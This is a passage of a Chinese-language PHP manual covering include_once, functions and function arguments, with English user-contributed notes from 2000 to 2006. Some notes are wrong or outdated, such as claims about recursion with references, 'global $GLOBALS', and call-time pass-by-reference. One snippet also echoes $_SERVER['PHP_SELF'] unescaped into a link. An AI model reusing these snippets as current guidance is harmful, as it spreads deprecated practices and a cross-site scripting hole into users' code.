}
?>

solution:
<?php
if(!@file_exists('./somthing') ) {
   echo 'can not include';
} else {
   include('./something');
}
?>
Pure-PHP
18-Mar-2005 06:17
Inlude_once can slower your app, if you include to many files.

You cann use this wrapper class, it is faster than include_once

http://www.pure-php.de/node/19

include_once("includeWrapper.class.php")

includeWrapper::includeOnce("Class1.class.php");
includeWrapper::requireOnce("Class1.class.php");
includeWrapper::includeOnce("Class2.class.php")
bioster at peri dot csclub dot uwaterloo dot ca
29-Oct-2004 06:06
Something to be wary of:  When you use include_once and the data that you include falls out of scope, if you use include_once again later it will not include despite the fact that what you included is no longer available.

So you should be wary of using include_once inside functions.
add a note add a note

后退 | 起点 | 前进
require_once() | 上一级 | 函数


函数

PHP 手册
后退 前进

章 17. 函数

目录
用户自定义函数
函数的参数
返回值
变量函数
内部（内置）函数

用户自定义函数

一个函数可由以下的语法来定义：

例子 17-1. 展示函数用途的伪代码

<?php
function foo($arg_1, $arg_2, ..., $arg_n)
{
    echo "Example function.\n";
    return $retval;
}
?>

任何有效的 PHP 代码都有可能出现在函数内部，甚至包括其它函数和类定义。

在 PHP 3 中，函数必须在被调用之前定义。而 PHP 4 则不再有这样的条件。除非函数如以下两个范例中有条件的定义。

如果一个函数以以下两个范例的方式有条件的定义，其定义必须在调用之前完成。

例子 17-2. 有条件的函数

<?php

$makefoo = true;

/* We can't call foo() from here
   since it doesn't exist yet,
   but we can call bar() */

bar();

if ($makefoo) {
  function foo()
  {
    echo "I don't exist until program execution reaches me.\n";
  }
}

/* Now we can safely call foo()
   since $makefoo evaluated to true */

if ($makefoo) foo();

function bar()
{
  echo "I exist immediately upon program start.\n";
}

?>

例子 17-3. 函数中的函数

<?php
function foo()
{
  function bar()
  {
    echo "I don't exist until foo() is called.\n";
  }
}

/* We can't call bar() yet
   since it doesn't exist. */

foo();

/* Now we can call bar(),
   foo()'s processesing has
   made it accessable. */

bar();

?>

PHP 中的所有函数和类都具有全局域，可以在内部定义外部调用，反之亦然。

PHP 不支持函数重载，也不可能取消定义或者重定义已声明的函数。

注: 函数名是非大小写敏感的，不过在调用函数的时候，通常使用其在定义时相同的形式。

PHP 3 虽然支持默认参数（更多信息请参照默认参数的值），但是却不支持可变的参数个数。PHP 4
支持：见可变长度的参数列表和涉及到的相关函数
func_num_args()，
func_get_arg()，以及
func_get_args() 以获取更多的信息。

在 PHP 中可以调用递归函数。但是要避免递归函数／方法调用超过 100-200 层，因为可能会破坏堆栈从而使当前脚本终止。

例子 17-4. 递归函数

<?php
function recursion($a)
{
    if ($a < 20) {
        echo "$a\n";
        recursion($a + 1);
    }
}
?>

add a note add a note User Contributed Notes
tom pittlik
05-Feb-2006 03:53
This is a way of formatting different strings with different mandatory functions and is especially useful when processing form data or outputting database fields using structured configuration files:

<?

function format_string($string,$functions)
{
   $funcs = explode(",",$functions);

   foreach ($funcs as $func)
   {
       if (function_exists($func)) $string = $func($string);
   }

   return $string;
}

echo format_string("  <b>  this is a test        </b>","strip_tags,strtoupper,trim");
// outputs "THIS IS A TEST"

?>
gnirts dot REMOVE_THIS at HATE_SPAM dot gmail dot com
05-Jan-2006 02:11
If you want to validate that a string could be a valid function name, watch out. preg_match() matches anywhere inside the test string, so strings like 'foo#' and '    bar' will pass with the regex that they give ([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)

The solution is to use anchors in the regex (^ and $) and check the offset of the match (using PREG_OFFSET_CAPTURE).

<?

function is_valid_function_name( $function_name_to_test )
{
   $number_of_matches = preg_match( '<^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$>'
                                       , $function_name_to_test
                                       , $match_offset_array
                                       , PREG_OFFSET_CAPTURE );

   if( $number_of_matches === false )
   {
       trigger_error( 'Error with preg_match' , E_USER_WARNING );
   }

   if( $match_offset_array[0][1] !== 0 || $number_of_matches !== 1 )
   {
       return false;
   }
   else
   {
       return true;
   }
}

?>
p at onion dot whitefyre dot com
19-Jul-2005 11:39
One potentially useful feature is that in function and variable names bytes within 0x7f-0xff are allowed. This means you can use any UTF-8 in a variable name.

As a simple example (this only uses latin-1 characters, but the concept is the same):

<?php
function ($n) {
   return pow($n, 2);
}

function ($string) {
   return '<p>'.str_replace("\n\n", "</p>\n<p>", $string).'</p>';
}

echo (4); //16

echo ("Some text\n\nbroken into paragraphs");
?>

You can use this to write PHP code in your native language, or even better make creative use of symbols like above to make your code understandable by everyone.
bjorn_nelson at yahoo dot com
30-Jun-2005 09:44
@ gilthansNOSPAAM at gmailSPAAMBLOCK dot com

Your first example works just fine.  There is no reason that pass-by-reference arguments can't work with recursion.

This is what I used:

<?php
$foo = 0;
function bar(&$foo){
   $foo++;
   echo $foo."\n";
   if($foo < 10)
       bar($foo);
}
bar($foo);
?>
dma05 at web dot de
27-Apr-2005 08:24
@ gilthansNOSPAAM at gmailSPAAMBLOCK dot com

i think you just fried your stack like the manual reads ;)
works up to ~17000-30000 iterations for me... although, that's on a linux box with php5 as an apache2 module...
maybe the cgi version has a smaller stack...

the problem seems logical, because every time your function iterates, it puts another pointer on the stack (the one to your variable), and sooner or later you're out of memory there, so no more pointers to be added which should make it crash, if you're using one global variable, then there's no pointers to be added to your stack and it won't run out (well, not so fast at least, you still need to add other pointers to the stack but at least one less)...
riseofthethorax at earthlink dot net
03-Apr-2005 09:49
I know functions can't be undefined, now..

But how about this..

Include a file, the file defines a variable called
"$function_name".. $function_name contains
the name of the actual function.. The actual function_name
is either created insitu or when the include file was created.
The actual function name, in any case, has a random string
associated with it (20 character alphanumeric?)..

The file including this function, could somehow dynamically
call the function using the $function_name variable..

Since the actual function name is some name plus a random string, it produces a kind of virtual scope (or a statically improbable conflict). Then  you could call the same function multiples of times in the process of a script, and not have to worry about function name clashes.. Of course this is a memory leak in the making, but it allows one to essentially call similar named functions in the current state of PHP configuration..
gilthansNOSPAAM at gmailSPAAMBLOCK dot com
29-Mar-2005 01:36
Note that a function that calls a variable by reference CANNOT be used recursively, it will generate a CGI error (at least on my windows platform).
Thus:
<?php
$foo = 0;
function bar(&$foo){
   $foo++;
   echo $foo."\n";
   if($foo < 10)
       bar($foo);
}
?>
Will NOT work.
Instead, you should just use global variables.
<?php
$foo = 0;
function bar(){
   global $foo;
   $foo++;
   echo $foo."\n";
   if($foo < 10)
       bar($foo);
}
?>
This, of course, assuming that you need to use $foo in other functions or parts of code. Otherwise you can simply pass the variable regulary and there should be no problems.
roy at intelligentdashimaging dot com
08-Feb-2005 05:17
Here's how to get static function behavior and instantiated object behavior in the same function
<?php

// Test of static/non-static method overloading, sort of, for php
class test {
   var $Id = 2;
   function priint ($id = 0) {
       if ($id == 0) {
           echo $this->Id;
           return;
       }
       echo $id;
       return;
   }
}
$tc = new test ();
$tc->priint ();
echo "\n";
test::priint (1);
/* output:
2
1
*/
?>
spy-j at rainbowtroopers dot com
21-Dec-2004 07:01
Take care when using parameters passed by reference to return new values in it:

<?PHP

function foo( &$refArray, ....) {

  UNSET($refArray); //<-- fatal!!!

  for (....) {
   $refArray[] = ....
  }//end for

}//end foo

?>

I tried to make sure the passed variable is empty so i can fill it up as an array. So i put the UNSET. Unfortunately, this seems to cause a loss with the reference to the passed variable: the filled array was NOT returned in the passed argument refArray!

I have found that replacing unset as follows seems to work correctly:

<?PHP

function bar( &$refArray, ....) {

  if (!EMPTY($refArray)) $refArray = '';

  : : :

}//end bar

?>
chris at infinitycubed dot net
11-Aug-2004 09:39
Remember, theres an additional overhead when calling functions, so if performance is key to what you are doing, you want to avoid calling out to other functions.

In a function I was making that found out the distance and angle from 1 point to another, there were 3 calls to a small validation function. It averaged ~0.017 seconds for 400 calls to the function, and with these calls replaced with the actual code, this lowered to 0.011-0.012. So, if you need performance, avoid using other functions.
jose at rondamagazine dot com
17-Jul-2004 09:34
A PHP4 -> PHP5 migration issue:

In PHP5, you can't declare a function inside a class method and call it from inside the method. An example:

<?php
class A {
   function f() {
     function inside_f() {
         echo "I'm inside_f";
     }
     echo "I'm f";
     inside_f();
   }
}
?>

PHP5 reports an "Fatal error:  Non-static method A::inside_f() cannot be called statically ..."

Solution: Convert inside_f() to a class method, so you can call it from f() as $this->inside_f().
This will work in PHP4 and PHP5.
And, if you don't mind PHP4 compatibility, you should probably declare inside_f() as a private method, because it is declared inside f() for its private use (at least, that's what I believed I was doing; only now have I discovered that the original inside_f(), as declared, is a global function).
removeloop at removesuperinfinite dot com
04-Aug-2003 04:56
Method overloading is however permitted.

<?php
class A {
       function A() { }

       function ech() {
               $a = func_get_args();
               for( $t=0;$t<count($a); $t++ ) {
                       echo $a[$t];
               }
       }
}

$test = new A();
$test->ech(0,1,2,3,4,5,6,7,8,9);

?>

// output:
// 0123456789
danvk at rice dot edu
10-Jun-2003 02:04
While PHP does allow you to define a function within another function, this feature doesn't work in at all the same way that it does in most other languages. The most common use of an inner subroutine that I've seen is to define a helper function which can't be seen from outside, and still has access to the outer subroutine's local variables. Like this:

function a(){
  function b(){
   print $localVariable;
  }
  $localVariable = 10;
  b();
}

In PHP, this will cause all sorts of problems. Calling a() won't print anything, since $localVariable hasn't been defined within b(), even though it is defined within a(). And calling a() twice will result in an error that you're trying to redefine b().
kop at meme dot com
08-Jun-2003 06:08
You can preface a (builtin php ?) function call with an @ sign, as in:

@foo();

This will supress the injection of error messages into the data stream output to the web client.  You might do this, for example, to supress the display of error messages were foo() a database function and the database server was down.  However, you're probably better off using php configuration directives or error handling functions than using this feature.

See the section on error handling functions.
Storm
10-May-2003 10:55
I think it worthy of noting (for noobies such as myself):
You can define access to a global variable before it is defined when defining a function as long as the variable is defined before the function is called. This had me baffled for a few hours til I tried it out...lol. Here's a quick example:

Perfectly valid:
-------------------------
function hello() {
   global $hi;

   echo $hi;
}

$hi = 'Hi There!'; // Var defined after function is defined

hello();
-------------------------

I know most of the Gurus persay already knew this, but I didn't! :p This helps ;-)
php at simoneast dot net
11-Apr-2003 12:59
If you're frustrated by not having access to global variables from within your functions, instead of declaring each one (particularly if you don't know them all) there are a couple of workarounds...

If your function just needs to read global variables...

function aCoolFunction () {
   extract($GLOBALS);
....

This creates a copy of all the global variables in the function scope.  Notice that because it's a copy of the variables, changing them won't affect the variables outside the function and the copies are lost at the conclusion of the function.

If you need to write to your global variables, I haven't tested it, but you could probably loop through the $GLOBALS array and make a "global" declaration for each one.  Then you could modify the variables.

Please note that this shouldn't be standard practice, but only in the case where a function needs access to all the global variables when they may be different from one call to another.  Use the "global var1, var2..." declaration where possible.

Hope that helps some people.

Simon.
nutbar at innocent dot com
13-Mar-2003 04:06
Regarding the comments about having to declare global variables inside of functions before you can use them...

Lots of you seem to complain about having to declare lots of variables, when really there's one simple solution to this:

global $GLOBALS;

This will define the $GLOBALS variable inside your code, and since that variable is basically like the mother of all variables - *presto*, you now have access to any variable in PHP.
mittag /// add /// marcmittag /// de
23-Jan-2003 08:31
To devciti at yahoo dot com

The section "returning values" of the docu says:

=====
You can't return multiple values from a function, but similar results can be obtained by returning a list.

function small_numbers()
{
   return array (0, 1, 2);
}
list ($zero, $one, $two) = small_numbers();
=====
arathorn at ifrance dot com
01-Jan-2003 11:02
If u want to put somes variables in function that was'nt passed by it, you must use "global" :

<?php

$op2 = blabla;
$op3 = blabla;

function foo($op1)
{
  global $op2, $op3;

   echo $op1;
   echo $op2;
   echo $op3;
}

?>
misc dot anders at feder dot dk
24-Dec-2002 07:28
PHP allows you to address functions in a very dynamic way:

$foo = "bar";
$foo("fubar");

The above will call the bar function with the "fubar" argument.
albaity at php4web dot com
26-Oct-2002 10:06
To use class from function
you need first to load class OUT the function
and then you can use the class functions from your function
example :
class Cart
{
   var $items;  // Items in our shopping cart

   // Add $num articles of $artnr to the cart

   function add_item ($artnr, $num)
   {
       $this->items[$artnr] += $num;
   }

   // Take $num articles of $artnr out of the cart

   function remove_item ($artnr, $num)
   {
       if ($this->items[$artnr] > $num) {
           $this->items[$artnr] -= $num;
           return true;
       } else {
           return false;
       }
   }
}

------------------------
<?php
$cart = new Cart;

function additem($var1,$var2){
$cart->add_item($var1, $var2);
}
additem(1,10);
?>
germanAlonso at keltoi-web dot com
10-Aug-2002 10:17
Although yasuo_ohgaki@hotmail.com has already pointed the recursion support on PHP, here's another example, wich shows clearly the mechanism of recursive algorithms:

function fact($i){
  if($i==1){
   return 1;
  }else{
   return $i*fact($i-1);
  }
}

It returns $i! (supposing $i is a valid positive integer greater than 0).
bishop
01-May-2002 10:54
Consider:

function a() {
   function b() {
       echo 'I am b';
   }
   echo 'I am a';
}

a();
a();

As you might NOT expect, the second call to a() fails with a "Cannot redeclare b()" error.  This behaviour is correct, insofar as PHP doesn't "allow functions to be redefined."

A work around:
function a() {
   if ( ! function_exists('b') ) {
       function b() {
           echo 'I am b';
       }
   }
   echo 'I am a';
}
bishop
01-May-2002 10:49
The documentation statement:

"In PHP 3, functions must be defined before they are referenced. No such requirement exists in PHP 4."

is not entirely accurate (or at least misleading).

Consider:
function a() {
   function b() {
       echo 'I am b';
   }
   echo 'I am a';
}

You MUST call a() before you can even think about using b().  Why? The parser hasn't touched the scope inside function a (for efficiency reasons), so b has yet to be defined or even *declared*.

The documentation (I believe) refers to this behaviour:
a();

function a() {
  echo 'I am a';
}

which is perfectly valid and runs as you probably expect.  However, the following does not work as expected (or documented):

function a() {
   b();

   function b() {
       echo 'I am b';
   }
   echo 'I am a';
}

a();

Rather than getting "I am b" followed by "I am a" you get a parse error ("Call to undefined function b()").

So, the bottom line: Gewaehrleistungsausschluss
fabio at city dot ac dot uk
14-Feb-2002 10:57
As a corollary to other people's contributions in this section, you have to be careful when transforming a piece of code in to a function (say F1). If this piece of code contains calls to another function (say F2), then each variable used in F2 and defined in F1 must be declared as GLOBAL both in F1 and F2. This is tricky.
xpaz at somm dot com
15-Nov-2001 04:47
It is possible to define a function from inside another function.
The result is that the inner function does not exist until the outer function gets executed.

For example, the following code:

function a () {
  function b() {
   echo "I am b.\n";
  }
  echo "I am a.\n";
}
if (function_exists("b")) echo "b is defined.\n"; else echo "b is not defined.\n";
a();
if (function_exists("b")) echo "b is defined.\n"; else echo "b is not defined.\n";

echoes:

b is not defined.
I am a.
b is defined.

Classes too can be defined inside functions, and will not exist until the outer function gets executed.
aboyd at ssti dot com
05-Apr-2001 11:34
[Editor's note: put your includes in the beginning of your script. You can call an included function, after it has been included                --jeroen]

The documentation states: "In PHP 3, functions must be defined before they are referenced. No such requirement exists in PHP 4."

I thought it wise to note here that there is in fact a limitation: you cannot bury your function in an include() or require().  If the function is in an include()'d file, there is NO way to call that function beforehand.  The workaround is to put the function directly in the file that calls the function.
yasuo_ohgaki at hotmail dot com
09-Mar-2001 02:42
PHP supports recursion. I thought it worth to mention.

Simple Quick Sort using recursion works perfectly.

== OUTPUT ==
Recursion TEST

Array
(
   [0] => 12
   [1] => 23
   [2] => 35
   [3] => 45
   [4] => 56
   [5] => 67
)
== END OUTPUT ==

== QUICK SORT CODE ==
<?php

echo('<br>Recursion TEST<br>');

function swap(&$v, $i, $j) {
 $temp = $v[$i];
 $v[$i] = $v[$j];
 $v[$j] = $temp;
}

// Quick Sort integer array - $int_array[$left] .. $int_array[$right]
function qsort(&$int_array, $left, $right) {
 if ($left >= $right)
  return; // Do nothing if there are less than 2 array elements
 swap ($int_array, $left, intval(($left+$right)/2));
 $last = $left;
 for ($i = $left + 1; $i <= $right; $i++)
  if ($int_array[$i] < $int_array[$left])
   swap($int_array, ++$last, $i);
 swap($int_array, $left, $last);
 qsort($int_array, $left, $last-1);
 qsort($int_array, $last+1, $right);
}

$val = array(56,23,45,67,12,35);

qsort($val, 0, count($val)-1);

echo '<pre>';
print_r ($val);
echo '</pre>';

?>
== END QUICK SORT ==
kop at meme dot com
15-Dec-2000 07:14
See also about controlling the generation of error messages by putting @ in front of the function before you call it, in the section "error control operators".
php-general at list dot php dot net
06-Dec-2000 08:51
If a user-defined function does not explicitly return a value, then it
 will return NULL. For most truth tests, this can be considered as FALSE.

For example:

function print_list ($array)
{
   print implode ("<br />", $array);
}

if (print_list ($HTTP_POST_VARS))
   print "The print_list function returned a value that can be considered true."
else
   print "The print_list function returned a value that can be considered false."
GMCardoe at netherworldrpg dot net
24-Apr-2000 05:02
Stack overflow means your function called itself recursivly too many times and just completely filled up the processes stack. That error is there to stop a recursive call from completely taking up the entire system memory.
cap at capsi dot cx
22-Feb-2000 08:19
When using a function within a function, using global in the inner function will not make variables available that have been first initialized within the outer function.
php at paintbot dot com
05-Feb-2000 11:32
Important Note to All New Users: functions do NOT have default access to GLOBAL variables.  You must specify globals as such in your function using the 'global' type/keyword.  See the section on variables:scope.

This note should also be added to the documentation, as it would help the majority of programmers who use languages where globals are, well, global (that is, available from anywhere).  The scoping rules should also not be buried in subsection 4 of the variables section.  It should be front and center because I think this is probably one of the most non-standard and thus confusing design choices of PHP.

[Ed. note: the variables $_GET, $_POST, $_REQUEST, $_SESSION, and $_FILES are superglobals, which means you don't need the global keyword to use them inside a function]
brooke at wayport dot net
08-Nov-1999 04:21
Many people ask how to call functions that are in other files. See "Require"  and "Include" in the manual.
add a note add a note

后退 | 起点 | 前进
include_once() | 上一级 | 函数的参数


函数的参数

通过参数列表可以传递信息到函数，即以逗号作为分隔符的表达式列表。

PHP 支持按值传递参数（默认），通过引用传递以及默认参数。可变长度参数列表仅在 PHP 4 和后续版本中支持；更多信息请参照可变长度参数列表和涉及到的相关函数 func_num_args()，func_get_arg() 以及 func_get_args()。PHP 3 中通过传递一个数组参数可以达到类似的效果：

例子 17-5. 向函数传递数组

<?php
function takes_array($input)
{
    echo "$input[0] + $input[1] = ", $input[0]+$input[1];
}
?>

通过引用传递参数

缺省情况下，函数参数通过值传递（因而即使在函数内部改变参数的值，它并不会改变函数外部的值）。如果希望允许函数修改它的参数值，必须通过引用传递参数。

如果想要函数的一个参数总是通过引用传递，可以在函数定义中该参数的前面预先加上符号 &：

例子 17-6. 用引用传递函数参数

<?php
function add_some_extra(&$string)
{
    $string .= 'and something extra.';
}
$str = 'This is a string, ';
add_some_extra($str);
echo $str;    // outputs 'This is a string, and something extra.'
?>

默认参数的值

函数可以定义 C++ 风格的标量参数默认值，如下：

例子 17-7. 函数中默认参数的用途

<?php
function makecoffee($type = "cappuccino")
{
    return "Making a cup of $type.\n";
}
echo makecoffee();
echo makecoffee("espresso");
?>

上面代码段的输出是：

Making a cup of cappuccino.
Making a cup of espresso.

PHP 还允许使用数组和特殊类型 NULL 作为默认参数，例如：

例子 17-8. 使用非标量类型作为默认参数

<?php
function makecoffee($types = array("cappuccino"), $coffeeMaker = NULL)
{
    $device = is_null($coffeeMaker) ? "hands" : $coffeeMaker;
    return "Making a cup of ".join(", ", $types)." with $device.\n";
}
echo makecoffee();
echo makecoffee(array("cappuccino", "lavazza"), "teapot");
?>

默认值必须是常量表达式，不是（例如）变量，类成员，或者函数调用。

请注意当使用默认参数时，任何默认参数必须放在任何非默认参数的右侧；否则，可能函数将不会按照预期的情况工作。考虑下面的代码片断：

例子 17-9. 函数默认参数不正确的用法

<?php
function makeyogurt($type = "acidophilus", $flavour)
{
    return "Making a bowl of $type $flavour.\n";
}

echo makeyogurt("raspberry");   // won't work as expected
?>

上述例子的输出是：

Warning: Missing argument 2 in call to makeyogurt() in
/usr/local/etc/httpd/htdocs/php3test/functest.html on line 41
Making a bowl of raspberry .

现在，比较上面的例子和这个例子：

例子 17-10. 函数默认参数正确的用法

<?php
function makeyogurt($flavour, $type = "acidophilus")
{
    return "Making a bowl of $type $flavour.\n";
}

echo makeyogurt("raspberry");   // works as expected
?>

这个例子的输出是：

Making a bowl of acidophilus raspberry.

注: 自 PHP 5 起，默认值可以通过引用传递。

可变长度参数列表

PHP 4 及更高版本已经在用户自定义函数中支持可变长度参数列表。这个真的很简单，用 func_num_args()，func_get_arg()，和 func_get_args() 函数。

无需特别的语法，参数列表仍然能够被明确无误的传递给函数并且正常运转。

add a note add a note User Contributed Notes
jcaplan at bogus dot amazon dot com
10-Mar-2006 07:11
In function calls, PHP clearly distinguishes between missing arguments and present but empty arguments.  Thus:

<?php
function f( $x = 4 ) { echo $x . "\\n"; }
f(); // prints 4
f( null ); // prints blank line
f( $y ); // $y undefined, prints blank line
?>

The utility of the optional argument feature is thus somewhat diminished.  Suppose you want to call the function f many times from function g, allowing the caller of g to specify if f should be called with a specific value or with its default value:

<?php
function f( $x = 4 ) {echo $x . "\\n"; }

// option 1: cut and paste the default value from f's interface into g's
function g( $x = 4 ) { f( $x ); f( $x ); }

// option 2: branch based on input to g
function g( $x = null ) { if ( !isset( $x ) ) { f(); f() } else { f( $x ); f( $x ); } }
?>

Both options suck.

The best approach, it seems to me, is to always use a sentinel like null as the default value of an optional argument.  This way, callers like g and g's clients have many options, and furthermore, callers always know how to omit arguments so they can omit one in the middle of the parameter list.

<?php
function f( $x = null ) { if ( !isset( $x ) ) $x = 4; echo $x . "\\n"; }

function g( $x = null ) { f( $x ); f( $x ); }

f(); // prints 4
f( null ); // prints 4
f( $y ); // $y undefined, prints 4
g(); // prints 4 twice
g( null ); // prints 4 twice
g( 5 ); // prints 5 twice

?>
ksamvel at gmail dot com
07-Feb-2006 11:55
by default Classes constructor does not have any arguments. Using small trick with func_get_args() and other relative functions constructor becomes a function w/ args (tested in php 5.1.2). Check it out:

class A {
   public function __construct() {
       echo func_num_args() . "<br>";
       var_dump( func_get_args());
       echo "<br>";
   }
}

$oA = new A();
$oA = new A( 1, 2, 3, "txt");

Output:

0
array(0) { }
4
array(4) { [0]=> int(1) [1]=> int(2) [2]=> int(3) [3]=> string(3) "txt" }
jim at symbolengine dot com
19-Jan-2006 08:59
It is also possible to force a parameter type using this syntax. I couldn't see it in the documentation.

function foo(myclass par) {

}
Sergio Santana: ssantana at tlaloc dot imta dot mx
01-Nov-2005 06:59
PASSING A "VARIABLE-LENGTH ARGUMENT LIST OF REFERENCES" TO A FUNCTION
As of PHP 5, Call-time pass-by-reference has been deprecated, this represents no problem in most cases, since instead of calling a function like this:
   myfunction($arg1, &$arg2, &$arg3);

you can call it
   myfunction($arg1, $arg2, $arg3);

provided you have defined your function as
   function myfuncion($a1, &$a2, &$a3) { // so &$a2 and &$a3 are
                                                             // declared to be refs.
   ... <function-code>
   }

However, what happens if you wanted to pass an undefined number of references, i.e., something like:
   myfunction(&$arg1, &$arg2, ..., &$arg-n);?
This doesn't work in PHP 5 anymore.

In the following code I tried to amend this by using the
array() language-construct as the actual argument in the
call to the function.

<?php

  function aa ($A) {
   // This function increments each
   // "pseudo-argument" by 2s
   foreach ($A as &$x) {
     $x += 2;
   }
  }

  $x = 1; $y = 2; $z = 3;

  aa(array(&$x, &$y, &$z));
  echo "--$x--$y--$z--\n";
  // This will output:
  // --3--4--5--
?>

I hope this is useful.

Sergio.
grinslives13 at hotmail dot com~=s/i/ee/g
25-Sep-2005 01:55
Given that we have two coding styles:

#
# Code (A)
#
funtion foo_a (&$var)
{
   $var *= 2;
   return $var;
}
foo_a($a);

#
# Code (B)
#
function foo_b ($var)
{
   $var *= 2;
   return $var;
}
foo_b(&$a);

I personally wouldn't recommend (B) - I think it strange why php would support such a convention as it would have violated foo_b's design - its use would not do justice to its function prototype. And thinking about such use, I might have to think about copying all variables instead of working directly on them...

Coding that respects function prototypes strictly would, I believe, result in code that is more intuitive to read. Of course, in php <=4, not being able to use default values with references, we can't do this that we can do in C:

#
# optional return-value parameters
#
int foo_c (int var, int *ret)
{
   var *= 2;
   if (ret) *ret = var;
   return var;
}
foo_c(2, NULL);

Of course, since variables are "free" anyway, we can always get away with it by using dummy variables...

zlel
nate at natemurray dot com
31-Aug-2005 06:15
Of course you can fake a global variable for a default argument by something like this:
<?php
function self_url($text, $page, $per_page = NULL) {
  $per_page = ($per_page == NULL) ? $GLOBALS['gPER_PAGE'] : $per_page; # setup a default value of per page
  return sprintf("<a href=%s?page=%s&perpage=%s>%s</a>", $_SERVER["PHP_SELF"], $page, $per_page, $text);
}
?>
Angelina Bell
26-Jul-2005 03:40
It is so easy to create a constant that the php novice might do so accidently while attempting to call a function with no arguments.  For example:
<?php
function LogoutUser(){
// destroy the session, the cookie, and the session ID
  blah blah blah;
  return true;
}
function SessionCheck(){
  blah blah blah;
// check for session timeout
...
   if ($timeout) LogoutUser;  // should be LogoutUser();
}
?>

OOPS!  I don't notice my typo, the SessionCheck function
doesn't work, and it takes me all afternoon to figure out why not!

<?php
LogoutUser;
print "new constant LogoutUser is " . LogoutUser;
?>
balint , at ./ atres &*( ath !# cx
30-Jun-2005 05:59
(in reply to benk at NOSPAM dot icarz dot com / 24-Jun-2005 04:21)
I could make use of this assignment, as below, to have a permanently existing, but changing data block (because it is used by many other classes), where the order or the refreshed contents are needed for the others: (DB init done by one, an other changed the DB, and thereafter all others need to use the other DB without creating new instances, or creating a log array in one, and we would like to append the new debug strings to the array, atmany places.)

class xyz {
   var argN = array();
   function xyz($argN) {
       $this->argN = &$argN;
   }
   function etc($text) {
       array_push($this->argN, $text);
   }
}
class abc {
   var argM = array();
   function abc($argM) {
       $this->argM = &$argM;
   }
   function etc($text) {
       array_push($this->argM, $text);
   }
}

$messages=array("one", "two");
$x = new xyz(&$messages);
$x->etc("test");

$a = new abc(&$messages);
$a->etc("tset");

...
benk at NOSPAM dot icarz dot com
24-Jun-2005 10:21
This isn't necessarily the right place to store this piece of information, but I discovered a neat feature of the 'by reference' operator (&).  You can use this assignment operator to assign a pointer to another variable. This makes it possible to update BOTH varaibles and have the value change in the other.  I have not yet explored scope of this test, but here is a simple test that I ran on PHP 4.3.9 with the following results:

$abc = "Test";
$def = "";
print("ABC = $abc\tDEF = $def\n");        // ABC = Test      DEF =
$def = &$abc;
print("ABC = $abc\tDEF = $def\n");        // ABC = Test      DEF = Test
$abc = "test2";
print("ABC = $abc\tDEF = $def\n");        // ABC = test2    DEF = test2
$def = "nextval";
print("ABC = $abc\tDEF = $def\n");        // ABC = nextval  DEF = nextval
unset($def);
print("ABC = $abc\tDEF = $def\n");        // ABC = nextval  DEF =
$def = "yet another value";
print("ABC = $abc\tDEF = $def\n");        // ABC = nextval  DEF = yet another value
csaba at alum dot mit dot edu
26-Jan-2005 08:58
Argument evaluation left to right means that you can save yourself a temporary variable in the example below whereas $current = $prior + ($prior=$current) is just the same as $current *= 2;

function Sum() { return array_sum(func_get_args()); }
function Fib($n,$current=1,$prior=0) {
   for (;--$n;) $current = Sum($prior,$prior=$current);
   return $current;
}

Csaba Gabor
PS.  You could, of course, just use array_sum(array(...)) in place of Sum(...)
trosos at atlas dot cz
15-Jul-2004 09:31
Function arguments are evaluated from left to right.
heck AT fas DOT harvard DOT edu
25-Mar-2004 09:49
I have some functions that I'd like to be able to pass arguments two ways: Either as an argument list of variable length (e.g. func(1, 2, 3, 4)) or as an array (e.g., func(array(1,2,3,4)). Only the latter can be constructed on the fly (e.g., func($ar)), but the syntax of the former can be neater.

The way to do it is to begin the function as follows:
  $args = func_get_args();
  if (is_array ($args[0]))
   $args = $args[0];
Then one can just use $args as the list of arguments.
thesibster at hotmail dot com
01-Jul-2003 02:43
Call-time pass-by-ref arguments are deprecated and may not be supported later, so doing this:

----
function foo($str) {
   $str = "bar";
}

$mystr = "hello world";
foo(&$mystr);
----

will produce a warning when using the recommended php.ini file.  The way I ended up using for optional pass-by-ref args is to just pass an unused variable when you don't want to use the resulting parameter value:

----
function foo(&$str) {
   $str = "bar";
}

foo($_unused_);
----

Note that trying to pass a value of NULL will produce an error.
bishop
03-Jun-2003 05:06
A tiny clarification on the notes of "keeper at odi dot com dot br", et. al.

Functions explicitly prototyped with formal parameters passed by reference can't have default values. However, functions prototyped to assign default values to formal parameters may be passed references.

For example, this is a parse error:

function foo(&$bar = null) {
   // formal parameters as references can't have default values
   $bar = 242;
}

While this is perfectly legal (and probably what you want, mostly):

function foo($bar = null) {
   $bar = 242;
}

foo();    // valid call, no warnings about missing args
foo(&$x); // valid call, post $x == 242
mjohnston at planetactive dot com
27-Mar-2003 11:14
not only do default values not work with passing by reference, but you can't pass NULL as a parameter that is expected to be a reference, and passing too few parameters to a function causes a warning.
bostjan dot skufca at domenca dot com
09-Dec-2002 08:16
have function

function foo($bar=3) {
  if (!isset($bar)) {
   echo "I'm not set to my default value";
}

and if you do

foo($some_unset_variable);

the $bar variable does not adopt default value (3) as one might expect but it is not set.
guillaume dot goutaudier at eurecom dot fr
20-Jul-2002 03:15
Concerning default values for arguments passed by reference:
I often use that trick:
func($ref=$defaultValue) {
   $ref = "new value";
}
func(&$var);
print($var) // echo "new value"

Setting $defaultValue to null enables you to write functions with optional arguments which, if given, are to be modified.
t dot orf at gmx dot de
07-May-2002 09:48
concerning rbronosky@mac.com 11-May-2001 06:17:
You can include the variable name in the output if you simply pass that name instead of the value:

function show($arrayName) {
  global $$arrayName;
  echo("<pre>\n$arrayName == ");
  print_r($$arrayName);
  echo "</pre>";
}

show('myArray');
wls at wwco dot com
21-Nov-2001 03:29
Follow up to resource passing:

It appears that if you have defined the resource in the same file
as the function that uses it, you can get away with the global trick.

Here's the failure case:

  include "functions_doing_globals.php"
  $conn = openDatabaseConnection();
  invoke_function_doing_global_conn();

...that it fails.

Perhaps it's some strange scoping problem with include/require, or
globals trying to resolve before the variable is defined, rather
than at function execution.
keeper at odi dot com dot br
08-Oct-2001 07:20
Whem arguments are passed by reference, default values wont work.
duncanmadcow at hotmail dot com
05-Sep-2001 06:50
I have tried the example given by ak@avatartech.com
it did not work I use php 4.0.6 on windows 98

I do think that it is good that there is no automatic parameter passing, thus it would force people to do good programming practie
rwillmann at nocomment dot sk
22-Jun-2001 06:05
There is no way how to deal with calling by reference when variable lengths argument list are passed.
<br>Only solutions is to use construction like this:<br>
function foo($args) {<br>
   ...
}

foo(array(&$first, &$second));

Above example pass by value a list of references to other variables :-)

